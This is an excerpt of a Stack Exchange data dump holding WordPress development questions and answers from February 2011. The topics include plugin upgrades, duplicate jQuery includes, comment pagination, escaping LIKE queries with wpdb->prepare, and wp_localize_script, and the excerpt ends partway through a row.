  <row Id="8827" PostTypeId="1" CreationDate="2011-02-08T03:53:59.780" Score="2" ViewCount="65" Body="&lt;p&gt;Last week I had released a version of a WordPress plugin that works if the user was doing a fresh install, however if they already had the plugin and upgraded it using the WordPress upgrade automatically feature, problems occurred and some of the database elements were erased. So I had to revert back immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there was a way to test the plugin through the upgrade automatically functionality before hand instead of having to release it and hoping you get it right the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Omar&lt;/p&gt;&#xA;" LastActivityDate="2011-06-08T08:57:03.333" Title="How to test a WordPress plugin through the upgrade automatically feature" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="3" />
  <row Id="8828" PostTypeId="2" ParentId="7887" CreationDate="2011-02-08T04:18:18.903" Score="0" ViewCount="" Body="&lt;p&gt;Shortcode: [catlist template=lcp_template_1 id=9 orderby=date numberposts=1 date=yes author=yes excerpt=yes catlink=yes thumbnail=yes ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the plugin folder &gt; list_cat_posts.php, these are the instances for 'thumbnail':&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;File list_cat_posts.php; line 56:&#xA;            'thumbnail' =&gt; 'no',&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;File list_cat_posts.php; line 168:    if&#xA;  ($atts['thumbnail']=='yes'){&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;File list_cat_posts.php; line 169:&#xA;  $lcp_display_output .=&#xA;  lcp_thumbnail($single);&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;File list_cat_posts.php; line 229:  *&#xA;  @see&#xA;  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;File list_cat_posts.php; 232: function&#xA;  lcp_thumbnail($single){&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;File list_cat_posts.php; line 233:&#xA;  $lcp_thumbnail = '';&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;File list_cat_posts.php; line 234:    if&#xA;  ( has_post_thumbnail($single-&gt;ID) ) {&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;File list_cat_posts.php; line 235:&#xA;  $lcp_thumbnail =&#xA;  get_the_post_thumbnail($single-&gt;ID);&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;File list_cat_posts.php; line 237:&#xA;  return $lcp_thumbnail;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And in my template, these are the instances for 'thumbnail':&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;//Show thumbnail?&#xA;    if($atts['thumbnail']=='yes'){&#xA;        $lcp_output .= '&amp;lt;div&#xA;  class=&quot;lcp_thumbnail&quot;&amp;gt;&amp;lt;a href=&quot;'&#xA;  . get_permalink($single-&amp;gt;ID) .&#xA;  '&quot;&amp;gt;' .&#xA;  get_the_post_thumbnail($single-&amp;gt;ID,&#xA;  array('40','40'))&#xA;  .'&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';        }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So there is no misspelling, as far as I can see. I had already seen the forum thread you're referring to, and made the correction to the default template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thumbnail is displaying as expected in the original post, so I don't know why LCP is not pulling it along with the post. Unless it doesn't do that with excerpts?&lt;/p&gt;&#xA;" OwnerUserId="3010" LastEditorUserId="3010" LastEditorDisplayName="" LastEditDate="2011-02-08T04:25:50.613" LastActivityDate="2011-02-08T04:25:50.613" CommentCount="1" />
  <row Id="8829" PostTypeId="1" AcceptedAnswerId="8836" CreationDate="2011-02-08T04:27:04.353" Score="2" ViewCount="96" Body="&lt;p&gt;Many wordpress theme, plugin, and widget developers seem to think that the only way to use jquery on the page is to include their own copy. On some pages of the site I'm developing, there are as many as &lt;em&gt;six&lt;/em&gt; different places where I see various different copies of jquery included. &lt;strong&gt;This is ridiculous.&lt;/strong&gt; It increases loading time, and is totally redundant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way, either through a plugin or a bit of my own coding, to force only &lt;em&gt;one&lt;/em&gt; copy of jquery to be included on each page? There's already a &lt;code&gt;jquery.js&lt;/code&gt; in the &lt;code&gt;/wp-includes/js/jquery/&lt;/code&gt; directory, which should suffice for any plugin that needs it. How can I automatically remove all of the other references to it on the page?&lt;/p&gt;&#xA;" OwnerUserId="2941" LastActivityDate="2011-02-08T07:00:40.977" Title="Prevent five different copies of jquery from being included on every page" Tags="&lt;jquery&gt;&lt;javascript&gt;&lt;loading-time&gt;" AnswerCount="1" />
  <row Id="8830" PostTypeId="2" ParentId="8754" CreationDate="2011-02-08T04:56:59.603" Score="0" ViewCount="" Body="&lt;p&gt;I just installed this plugin and it seems to work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-category-archive/installation/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-category-archive/installation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-02-08T04:56:59.603" />
  <row Id="8831" PostTypeId="1" CreationDate="2011-02-08T06:09:55.633" Score="1" ViewCount="251" Body="&lt;p&gt;Everytime i go past page one on the pagination I click on my comments and its takes me to the page but no comments show up, i have to click older post to get the comments to appear but on page 1 it takes me right to the comments. Im not sure what the problem is but here is my code, any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is what i have in the page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_comments('per_page=23&amp;amp;callback=mytheme_comment', get_comments()); ?&amp;gt;  &#xA;&#xA;&amp;lt;div id=&quot;paginati&quot;&amp;gt;&amp;lt;?php paginate_comments_links(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is what i have in the functions, am i missing something?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_comment($comment, $args, $depth) {&#xA;   $GLOBALS['comment'] = $comment; ?&amp;gt;&#xA;   &amp;lt;li &amp;lt;?php comment_class(); ?&amp;gt; id=&quot;li-comment-&amp;lt;?php comment_ID() ?&amp;gt;&quot;&amp;gt;&#xA;     &amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;comment-author vcard&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;comments-post-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo htmlspecialchars( get_comment_link( $comment-&amp;gt;comment_ID ) ) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo ( get_the_title($comment-&amp;gt;comment_post_ID) ) ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;comments-post-author&quot;&amp;gt;&amp;lt;?php printf(__('&amp;lt;cite class=&quot;fn&quot;&amp;gt;%s&amp;lt;/cite&amp;gt;'), get_comment_author_link()) ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;comments-post-date&quot;&amp;gt; on &amp;lt;a href=&quot;&amp;lt;?php echo htmlspecialchars( get_comment_link( $comment-&amp;gt;comment_ID ) ) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php printf(__('%1$s'), get_comment_date()) ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;         &amp;lt;a href=&quot;&amp;lt;?php echo htmlspecialchars( get_comment_link( $comment-&amp;gt;comment_ID ) ) ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo get_avatar($comment,$size='170',$default='&amp;lt;path_to_url&amp;gt;' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;  &#xA;&#xA;     &amp;lt;/div&amp;gt;&#xA;&#xA;     &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-09-03T01:40:01.850" Title="wp_list_comments paginate doesnt work correctly" Tags="&lt;comments&gt;&lt;pagination&gt;&lt;get-comments&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="8832" PostTypeId="2" ParentId="8806" CreationDate="2011-02-08T06:37:44.243" Score="2" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;global &lt;code&gt;$post&lt;/code&gt; or &lt;code&gt;$post_type&lt;/code&gt; to check for your CPT;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Status_Transitions&quot; rel=&quot;nofollow&quot;&gt;Post Status Transitions&lt;/a&gt; hooks to redirect on specific changes to the post;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_redirect()&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T06:37:44.243" CommentCount="2" />
  <row Id="8833" PostTypeId="1" AcceptedAnswerId="8970" CreationDate="2011-02-08T06:38:29.347" Score="0" ViewCount="88" Body="&lt;p&gt;In the script below i'm trying to pass category IDs to exclude, however, the category list still includes children of these categories and i can't figure what's wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone see what I could be doing wrong in this script?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_args = get_option('show_empty_cats') ? 'exclude='.ce4_cat().'&amp;amp;exclude_tree='.ce4_cat().'&amp;amp;hide_empty=0' : 'exclude='.ce4_cat().'&amp;amp;exclude_tree='.ce4_cat().'';$categories=get_categories($cat_args);&#xA;&#xA;//$cat_args = 'exclude=1,31&amp;amp;exclude_tree=1,31&amp;amp;hide_empty=0';&#xA;$categories = get_categories($cat_args);&#xA;for each..., etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-08T10:43:52.123" LastActivityDate="2011-03-15T15:16:55.747" Title="get_categories exclusion issues" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8834" PostTypeId="2" ParentId="8825" CreationDate="2011-02-08T06:52:19.330" Score="1" ViewCount="" Body="&lt;p&gt;You need to double percent so they are no treated like fragment markers by &lt;code&gt;wpdb-&amp;gt;prepare()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;prepare( &quot;SELECT column_1 from `{$wpdb-&amp;gt;base_prefix}my_table` WHERE column_2 LIKE %%%s%%;&quot;, like_escape( $number_to_put_in_like));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS not sure this is best/only way to do it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T06:52:19.330" CommentCount="1" />
  <row Id="8835" PostTypeId="2" ParentId="8827" CreationDate="2011-02-08T06:54:24.757" Score="1" ViewCount="" Body="&lt;p&gt;If I am not mistaken upgrade process is essentially:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Deactivating plugin.&lt;/li&gt;&#xA;&lt;li&gt;Replacing files with newer version.&lt;/li&gt;&#xA;&lt;li&gt;Re-activating plugin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Had you treid to simply reproduce this sequence manually?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T06:54:24.757" CommentCount="3" />
  <row Id="8836" PostTypeId="2" ParentId="8829" CreationDate="2011-02-08T07:00:40.977" Score="4" ViewCount="" Body="&lt;p&gt;There is no blanket solution to this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If developer has a clue - he will reuse bundled jQuery or re-register it to other copy (commonly done to load jQuery from Google's CDN).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Otherwise there are a lot of [insane] ways to add jQuery and there is no way to handle them all without global output buffering or tweaking hooks/plugins individually.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Overall it is often better plugins from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2404/who-are-the-most-trusted-plugin-developers&quot;&gt;good developers&lt;/a&gt; than waste time on tweaking poorly coded plugins. But if you already stuck with bunch of poor plugins - you are in for some manual cleanup. :(&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T07:00:40.977" CommentCount="1" />
  <row Id="8837" PostTypeId="2" ParentId="8831" CreationDate="2011-02-08T07:06:00.847" Score="0" ViewCount="" Body="&lt;p&gt;I have trouble understanding your description of the issue, could you please try to write it out more clearly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for comments pagination issues I'd try without custom callback at all and possibly switching to another theme (like Twenty Ten) to narrow down when problem occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure I am making right sense of your comment setup, but it seems something is wrong with comments display in template of your single post. There is only empty &lt;code&gt;&amp;lt;ol class=&quot;commentlist&quot;&amp;gt; &amp;lt;/ol&amp;gt;&lt;/code&gt; output where comments should be.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-08T09:35:42.103" LastActivityDate="2011-02-08T09:35:42.103" CommentCount="0" />
  <row Id="8838" PostTypeId="2" ParentId="8790" CreationDate="2011-02-08T07:10:41.327" Score="1" ViewCount="" Body="&lt;p&gt;It depends on your theme how exactly &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; is generated. At least some of it should be generated by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_title&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_title()&lt;/code&gt;&lt;/a&gt; function, output of which you can filter at &lt;code&gt;wp_title&lt;/code&gt; hook.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T07:10:41.327" />
  <row Id="8839" PostTypeId="2" ParentId="8813" CreationDate="2011-02-08T07:13:13.807" Score="2" ViewCount="" Body="&lt;p&gt;Yep, I experienced that under some network configurations &lt;code&gt;https&lt;/code&gt; links fail (my case was behind proxy server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control&lt;/a&gt; plugin to test available HTTP transports and disable glitchy one. In my case bumping transport to curl solved issue.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T07:13:13.807" />
  <row Id="8840" PostTypeId="2" ParentId="8817" CreationDate="2011-02-08T07:19:41.180" Score="2" ViewCount="" Body="&lt;p&gt;When you pass &lt;code&gt;false&lt;/code&gt; to that argument &lt;code&gt;get_cancel_comment_reply_link()&lt;/code&gt; function that is used down the chain falls back to default value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pass something else (like single space) or filter &lt;code&gt;cancel_comment_reply_link&lt;/code&gt; hook to override output.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T07:19:41.180" />
  <row Id="8841" PostTypeId="2" ParentId="8817" CreationDate="2011-02-08T07:21:02.773" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_filter( 'cancel_comment_reply_link', '__return_false' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;code&gt;/wp-includes/comment-template.php#function get_cancel_comment_reply_link()&lt;/code&gt; for more background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you do that the reply form will not move to the comment. The more interesting question is: Why doesn’t the link work for you? Do you have this line in your footer?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_singular() and get_option( 'thread_comments' ) and wp_print_scripts( 'comment-reply' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-08T07:21:02.773" CommentCount="2" />
  <row Id="8842" PostTypeId="2" ParentId="8823" CreationDate="2011-02-08T07:25:35.073" Score="3" ViewCount="" Body="&lt;p&gt;You can filter SQL to change to your condition in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_adjacent_post()&lt;/code&gt;&lt;/a&gt; ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/link-template.php#L1039&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sort  = apply_filters( &quot;get_{$adjacent}_post_sort&quot;, &quot;ORDER BY p.post_date $order LIMIT 1&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or filter link altogether in &lt;code&gt;adjacent_post_link()&lt;/code&gt; ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/link-template.php#L1370&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo apply_filters( &quot;{$adjacent}_post_link&quot;, $format, $link );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS &lt;code&gt;$adjacent&lt;/code&gt; can be &lt;code&gt;next&lt;/code&gt; or &lt;code&gt;previous&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-08T09:46:48.880" LastActivityDate="2011-02-08T09:46:48.880" CommentCount="1" />
  <row Id="8844" PostTypeId="1" AcceptedAnswerId="8846" CreationDate="2011-02-08T08:34:50.297" Score="0" ViewCount="132" Body="&lt;p&gt;I use the following code to show the post thumbnail (only):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php // Create and run custom loop&#xA;        $custom_posts = new WP_Query();&#xA;        $custom_posts-&amp;gt;query('post_type=page_content&amp;amp;sections=ThemeCL');&#xA;        while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;        &amp;lt;div class=&quot;float-left&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for some reason the title and content of the post is being shown (inside &lt;p&gt; tags!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;block-2 border-top&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;http://localhost/wpac/?blocks=mainbar-2&quot; title=&quot;Permalink to Mainbar&quot; rel=&quot;bookmark&quot;&amp;gt;Mainbar&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;float-left&quot;&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;http://localhost/wpac/?blocks=mainbar&quot; title=&quot;Permalink to Mainbar Left&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;img width=&quot;160&quot; height=&quot;150&quot; src=&quot;http://localhost/wpac/wp-content/uploads/2011/02/showcase2.png&quot; class=&quot;attachment-post-thumbnail wp-post-image&quot; alt=&quot;showcase2&quot; title=&quot;showcase2&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;p&amp;gt;Hello this is the title Hello this is the post content&amp;lt;/p&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only want the post thumbnail (Featured Image) to be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-08T09:14:49.177" Title="Why is the post title and content automatically being displayed in the post thumbnail (Featured image)?" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8845" PostTypeId="1" AcceptedAnswerId="8852" CreationDate="2011-02-08T08:40:48.867" Score="0" ViewCount="50" Body="&lt;p&gt;I use the following to retrieve a post from a custom post type and custom taxonomies:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Create and run custom loop&#xA;    $custom_posts = new WP_Query();&#xA;    $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Mainbar');&#xA;    while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;    &amp;lt;div class=&quot;block-2 border-top&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the Page, I want to create fields that will let the user customize the loop arguments like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=&amp;lt;Enter Location&amp;gt;&amp;amp;section=&amp;lt;Enter Section&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the easiest way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would that code look like?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-08T10:39:43.597" Title="Letting the user define the arguments in a custom loop? (the &quot;$custom_posts-&gt;query(...)&quot; part)" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="8846" PostTypeId="2" ParentId="8844" CreationDate="2011-02-08T09:14:49.177" Score="0" ViewCount="" Body="&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//Get the Thumbnail URL&#xA;$src = wp_get_attachment_image_src( get_post_thumbnail_id($post-&amp;gt;ID), array( 720,405 ), false, '' );&#xA;echo $src[0];&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-02-08T09:14:49.177" />
  <row Id="8847" PostTypeId="2" ParentId="8825" CreationDate="2011-02-08T09:39:26.697" Score="3" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;like_escape()&lt;/code&gt; function exists in WordPress because the regular database escaping does not escape &lt;code&gt;%&lt;/code&gt; and &lt;code&gt;_&lt;/code&gt; characters. This means you can add them in your arguments to &lt;code&gt;wpdb::prepare()&lt;/code&gt; without problem. This is also &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-admin/includes/user.php#L689&quot; rel=&quot;nofollow&quot;&gt;what I see in the core WordPress code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;prepare(&quot; AND $wpdb-&amp;gt;usermeta.meta_key = '{$wpdb-&amp;gt;prefix}capabilities' AND $wpdb-&amp;gt;usermeta.meta_value LIKE %s&quot;, '%' . $this-&amp;gt;role . '%');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So your code would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;prepare( &quot;SELECT column_1 from `{$wpdb-&amp;gt;base_prefix}my_table` WHERE column_2 LIKE %s;&quot;, '%' . like_escape($number_to_put_in_like) . '%');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also add &lt;code&gt;%%&lt;/code&gt; in your query to get a literal &lt;code&gt;%&lt;/code&gt; (&lt;code&gt;wpdb::prepare()&lt;/code&gt; uses &lt;code&gt;vsprintf()&lt;/code&gt; in the background, &lt;a href=&quot;http://php.net/sprintf&quot; rel=&quot;nofollow&quot;&gt;which has this syntax&lt;/a&gt;), but remember that &lt;strong&gt;your string will not be quoted&lt;/strong&gt;, you must add the quotes yourself (which is not what you usually have to do in &lt;code&gt;wpdb::prepare()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-08T09:39:26.697" />
  <row Id="8848" PostTypeId="1" AcceptedAnswerId="8849" CreationDate="2011-02-08T09:47:21.923" Score="1" ViewCount="219" Body="&lt;p&gt;I'd like to have the same pages assigned to two different parent pages, to save me making separate pages for two sections that contain mostly the same info. I'm using the WenderHost Subpages widget to generate the side menus. &lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-02-08T09:55:38.467" Title="One page - Multiple parents?" Tags="&lt;pages&gt;" AnswerCount="1" />
  <row Id="8849" PostTypeId="2" ParentId="8848" CreationDate="2011-02-08T09:55:38.467" Score="2" ViewCount="" Body="&lt;p&gt;Not possible natively, parent is simply single field in database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plugins that allow to create more complex relationships, such as &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; but it's unlikely to work with just any widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can create custom menu with arbitrary structure and use native widget to display it in sidebar.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-08T09:55:38.467" />
  <row Id="8850" PostTypeId="1" CreationDate="2011-02-08T09:58:54.170" Score="0" ViewCount="168" Body="&lt;p&gt;I just installed WordPress 3.0.4 on a GoDaddy hosted server.  And I've been having a problem with my .htaccess file.  For some reason, WordPress automatically erases all the mod_rewrite configuration settings in .htaccess file whenever I view the WP admin page for setting permalinks.  Deleting the .htaccess file kinda defeats the purpose of that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to do create a workaround by just manually entering the configurations into the .htaccess file and never visiting the permalink configuration page.  But this doesn't feel like a good solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone share thoughts about what might be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;David&lt;/p&gt;&#xA;" OwnerUserId="2052" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-16T18:20:23.807" LastActivityDate="2011-02-16T18:20:23.807" Title="Why does WordPress 3.0.4 keep deleting the contents of the .htaccess file?" Tags="&lt;3.0&gt;&lt;permalinks&gt;&lt;htaccess&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="8851" PostTypeId="2" ParentId="8655" CreationDate="2011-02-08T10:04:27.560" Score="7" ViewCount="" Body="&lt;p&gt;Indeed, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/class.wp-scripts.php#L50&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_localize_script()&lt;/code&gt; is simple&lt;/a&gt;, it just adds quotes around the values and escapes the content, expecting all of them to be strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is the &lt;code&gt;l10n_print_after&lt;/code&gt; key of the array, which will be printed without any interference at all. It can be used to execute arbitrary code after the strings are passed. You can use it to pass your extra data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'layout_config' =&amp;gt; {&#xA;      'ls' : {'sb1': 1}&#xA;    }&#xA;);&#xA;$reshuffled_data = array(&#xA;    'l10n_print_after' =&amp;gt; 'my_localized_data = ' . json_encode( $data ) . ';'&#xA;);&#xA;wp_localize_script('my-script-handle', 'my_localized_data', $reshuffled_data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will end up with code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var my_localized_data = {}; // What is left of your array&#xA;my_localized_data = {'layout_config': {'ls': {'sb1': 1}}}; // From l10n_print_after&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" 